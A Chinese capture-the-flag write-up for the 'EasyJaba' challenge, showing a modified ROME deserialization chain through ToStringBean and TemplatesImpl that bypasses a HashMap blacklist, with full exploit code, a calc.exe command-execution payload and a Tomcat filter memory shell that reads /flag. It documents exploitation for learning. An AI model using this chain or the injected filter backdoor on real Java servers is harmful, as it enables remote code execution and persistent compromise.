0x00 前言
EasyJaba 这个题目是陇原战”疫”2021网络安全大赛的一道题,最近正好在学习java反序列化和内存马的相关知识,通过这个题目可以很好的进行实践。
0x01 反序列化
题目给了jar包,直接用jd-gui反编译看看
Base64decode直接给了readObject,很明显有反序列化的考点了,不过这里还有个神秘的object1和BlacklistObjectInputStream,应该是给的一些障碍
简单看了一下应用没看到实现了Serailizable接口的类,看下lib,发现了rome
应该就是从经典的ROME 1.0 任意代码执行反序列化链子入手了
直接用idea反编译,这次代码清楚多了
简单分析下就是给ObjectInputStream加了俩黑名单
java.util.HashMap
javax.management.BadAttributeValueExpException
再看ROME的反序列化链条
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
入口点就是从HashMap开始的,显然不能直接使用了
但是注意到代码直接给了toString
所以我们只需要把链子稍微改下就能用了,新的链子
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
其实主要是利用了ROME的ToStringBean触发可控.invoke(可控,NO_PARAMS)
然后利用TemplatesImpl这个类来实现任意代码执行
如何利用可控.invoke(可控,NO_PARAMS)实现任意代码执行
这其实是很多java反序列化导致任意代码执行的最后一环
这里我们利用的是TemplatesImpl.getOutputProperties()
简单写个Poc下断点跟下流程
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Properties;
public class Poc {
public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
//shell code here
System.out.println("Hello Java");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
Constructor constructor = templatesimpl.getDeclaredConstructor(types);
constructor.setAccessible(true);
TransformerFactoryImpl tf = new TransformerFactoryImpl();
Properties p = new Properties();
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
Method method = templatesimpl.getMethod("getOutputProperties");
method.invoke(object,null);
}
}
首先进入
因为我们之前反射调用templatesImple的构造函数构造了一个对象
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
此时该templatesImpl的_bytecodes就是我们注入的恶意类字节码
下一步跳转到newTransformer
然后跳转到getTransletInstance
因为我们的templatesImple _class属性为null,会进入defineTransletClasses();
这个方法大致意思就是将我们的字节码,通过Classloader defineClass转成Class并存储在templatesImple的_class属性中
此处还会对class的父类进行检查如果是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,则将_transletIndex
指向该位置
回到getTransletInstance,可以发现此时会实力话我们注入的恶意类,同时会强制类型转换成AbstractTranslet类型,这两处也是为什么我们需要将我们的恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,不然无法触发此处构造函数
然后就能执行我们恶意类Evil里static代码块了。
言归正传,对于本题我们构造如下exp,这里也可以通过javassist手动加上父类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(E.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);
其中E为我们构造的恶意类用来执行代码比如
public static class E{
static {
try {
java.lang.Runtime.getRuntime().exec("calc.exe");
}catch (Throwable t){}
}
}
将生成的payload打过去以后可以发现弹出了计算器
0x02 获得回显
在可以命令执行后尝试了各种方法,但是发现拿不到命令执行的结果,后来发现有题目提示不出网…
不出网意味着类似反弹shell,curl,dnslog之类外带回显方式不可用了。加上并没有给静态文件的目录,将回显写入静态文件的方式也不好操作。这里利用内存马的思想,动态注入一个filter来获得回显。但是还有一个坑点在于由于我们的data是在url里注入的,如果太长的话会爆Request too Large的错误。所以我们要尽量缩短生成的类字节码大小。最终构造的恶意类如下。
public static class E{
static {
try {
//这里采取Litch1师傅文章的思路,通过WebappClassLoader拿到StandardContext
Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
WebappClassLoaderBaseResource.setAccessible(true);
Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);
//拿到StandardContext后就可以通过addFilterMap方法注入filter型内存马了
StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);
Filter filter = (servletRequest, servletResponse, filterChain) -> {
FileInputStream fis = new FileInputStream("/flag");
byte[] buffer = new byte[16];
StringBuilder res = new StringBuilder();
while (fis.read(buffer) != -1) {
res.append(new String(buffer));
buffer = new byte[16];
}
fis.close();
servletResponse.getWriter().write(res.toString());
servletResponse.getWriter().flush();
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("A");
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("A");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
//本地测试时取消下面这行可以帮助观察是否注入成功
//System.out.println("injected");
}catch (Throwable t){
//t.printStackTrace();
}
}
}
然后实际测试的时候发现自己带命令执行的生成的字节码都太长了,于是索性只读取”/flag”试试。
第一次访问
第二次访问,成功拿到flag